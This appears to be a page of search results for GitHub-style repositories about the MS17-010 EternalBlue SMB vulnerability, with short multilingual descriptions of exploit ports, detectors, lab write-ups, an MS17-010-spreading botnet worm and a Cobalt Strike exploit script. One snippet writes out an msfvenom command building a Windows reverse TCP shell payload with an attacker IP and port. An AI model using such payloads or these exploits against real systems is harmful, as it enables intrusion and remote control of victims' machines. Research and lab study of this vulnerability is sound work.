103 matches found
MS17-010
MS17-010 Como toda nuestra investigación está ahora en el repositorio master de Metasploit, no había razón para confundir a todos manteniendo este repositorio abierto, ya que había dos versiones de todo y, debido a la abrumadora popularidad, el soporte se convirtió en una pesadilla, pues esto es...
EternalBlueC
EternalBlueC 用 C/C++ 重写的 EternalBlue 套件，包括： MS17-010 漏洞利用（包含 DoublePulsar） EternalBlue/MS17-010 漏洞检测器 DoublePulsar 检测器 DoublePulsar 上传 DLL DoublePulsar 上传 Shellcode DoublePulsar 上传带 SMB 结构的 DLL DoublePulsar 上传带 SMB 结构的 Shellcode DoublePulsar 上传内嵌可执行文件的 DLL 项目已完成部分 上传 Shellcode — 已完成并可运行，将你的...
MS17-010
MS17-010 MS17-010 CVE-2017-0143 - Python3 脚本 root@kitploit: python3 exploit.py target...
CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution
CVE-2017-0144---EtneralBlue-MS17-010-远程代码执行 攻击机是 Kali Linux，目标机是 Windows Server 2008 R2。 从给定的 https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing 将 Windows 2008 R2 Server 导入到你的 VirtualBox 中，并将网络设置为桥接适配器。 按照以下步骤来利用该漏洞。 步骤 1： 检查攻击机的 IP 地址，已确认其为 192.168.29.58。 步骤 2： ...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。...
WHP
M$ Windows 黑客工具包 这里的工具来自不同的来源。该仓库一般以 WTFPL 许可证发布，但部分内容可能不是（例如 sysinternals）。 "pes" 表示 "PE Scambled"。它有时很有用。 远程利用 Windows 2000 / XP SP1 MS05-039 Microsoft 即插即用服务溢出，同时适用于 SSDP http://www.rapid7.com/db/modules/exploit/windows/smb/ms05039pnp Windows XP/NT beofre SP2 MS03-026 Microsoft RPC DCOM 接口溢出...
MS17-010
MS17-010 Este repositorio es para mi trabajo público sobre MS17-010. No tengo planeado dar soporte. Todos los problemas de soporte no recibirán respuesta de mi parte. Archivos BUG.txt Detalle del bug MS17-010 y algo de análisis checker.py Script para encontrar named pipe accesible...
EternalBlue-Exploit-Demonstration
Demostración del Exploit EternalBlue MS17-010 Laboratorio de ciberseguridad que demuestra la explotación de CVE-2017-0144 EternalBlue usando Metasploit contra un sistema Windows 7 vulnerable, obteniendo acceso a nivel de SYSTEM a través de Meterpreter. Este proyecto también simula un ataque de...
EternalBlue-Exploit-Demonstration-MS17-010
EternalBlue 漏洞利用演示 MS17-010 网络安全实验室，演示利用 CVE-2017-0144 EternalBlue 通过 Metasploit 攻击易受攻击的 Windows 7 系统，通过 Meterpreter 获取 SYSTEM 级别访问权限。 该项目还模拟了一次 WannaCry 风格的勒索软件攻击（安全演示），并演示了使用 MS17-010 安全补丁的缓解措施。 模块信息 模块： CSCM828 安全漏洞与渗透测试 学生： Daniel Nicolas Rentapalli 2548048 Ichhya Koirala 2607189 大学： 斯旺西大学...
M-Botnet
M-Botnet 免责声明1：此工具仅供教育用途！ 免责声明2：这是我很久以前写的，所以请不要评判我的编码能力 :D 一个基础僵尸网络项目。它是一个控制蠕虫的C2服务器。该蠕虫可以利用MS17-010漏洞自我传播以在网络中扩散。 要击败此蠕虫，请切断WWW与你网络之间的通信。...
BLUE-WRITEUP-CVE-2017-0144
Blue — Windows Security Assessment Overview This repository contains a technical write-up of the security assessment performed against the Blue vulnerable Windows virtual machine. The assessment was conducted within an authorized laboratory environment to examine the process of identifying,...
thm-blue-writeup
TryHackMe — Blue | Fase 1: Reconocimiento con Nmap Curso: Cyber Security 101 | Sala: Blue | Herramienta: Nmap Contexto La sala Blue tiene como objetivo principal el uso de Metasploit. Sin embargo, el primer ejercicio se centra en el reconocimiento: identificar puertos abiertos y vulnerabilidades ...
wannafind
wannafind 简单的脚本，使用nmap检测网络中是否存在CVE-2017-0143 MS17-010（Windows SMB）和CVE-2017-7494（SAMBA）漏洞 使用方法： wannafind.sh IP|网络 wannafind.sh 192.168.1.0/24...
Cobaltstrike-MS17-010
Cobaltstrike Aggressor Script Herramienta de explotación y escáner para ms17-010. 1. Descarga los archivos en la carpeta raíz de cobaltstrike. 2. Importa "aggressor.cna" Las herramientas de explotación ms17-010 solo son compatibles con win7 x64 y win2008 r2 pwn/Invoke-EternalBlue.ps1 de Empire...
eternalblue-ms17-010-research
💀 EternalBlue（MS17-010）漏洞利用研究 对 CVE-2017-0144 的受控复现——WannaCry 勒索病毒爆发背后的 SMB 漏洞 ⚠️ 免责声明：本研究仅在完全隔离的受控实验室环境中出于学术和教育目的进行。未涉及任何生产系统。 概述 本项目在沙盒化的 AWS EC2 环境中复现了 EternalBlue 漏洞利用（CVE-2017-0144，CVSS 9.3）。目标是深入理解漏洞机制，捕获并分析攻击流量，并将攻击链映射至 MITRE ATT&CK 框架——同时为攻击性研究和防御加固策略提供参考。 实验架构 云平台： AWS EC2 攻击机： Kali Linux...
CVE-2017-0144
🔵 EternalBlue（CVE-2017-0144） Microsoft SMBv1 严重远程代码执行漏洞 📌 概述 EternalBlue 是 Microsoft 服务器消息块版本 1 SMBv1 协议中的一个严重漏洞，允许远程攻击者在无需认证的情况下，在易受攻击的 Windows 系统上执行任意代码。 该漏洞利用工具由 NSA 开发，后于 2017 年被黑客组织 Shadow Brokers 泄露。它在被全球勒索软件活动（如 WannaCry 和 NotPetya ）武器化后广为人知。 🆔 漏洞详情 ⚠️ 影响 成功利用可能导致： 💀 以 SYSTEM 权限执行远程代码 🖥️...
Window-7-Vulnerability-and-Exploitation.
Windows 7 Vulnerability Assessment & Exploitation Lab 🎯 Ob...
CVE-2026-63526 Microsoft Office Graphics Component Remote Code Execution Vulnerability
...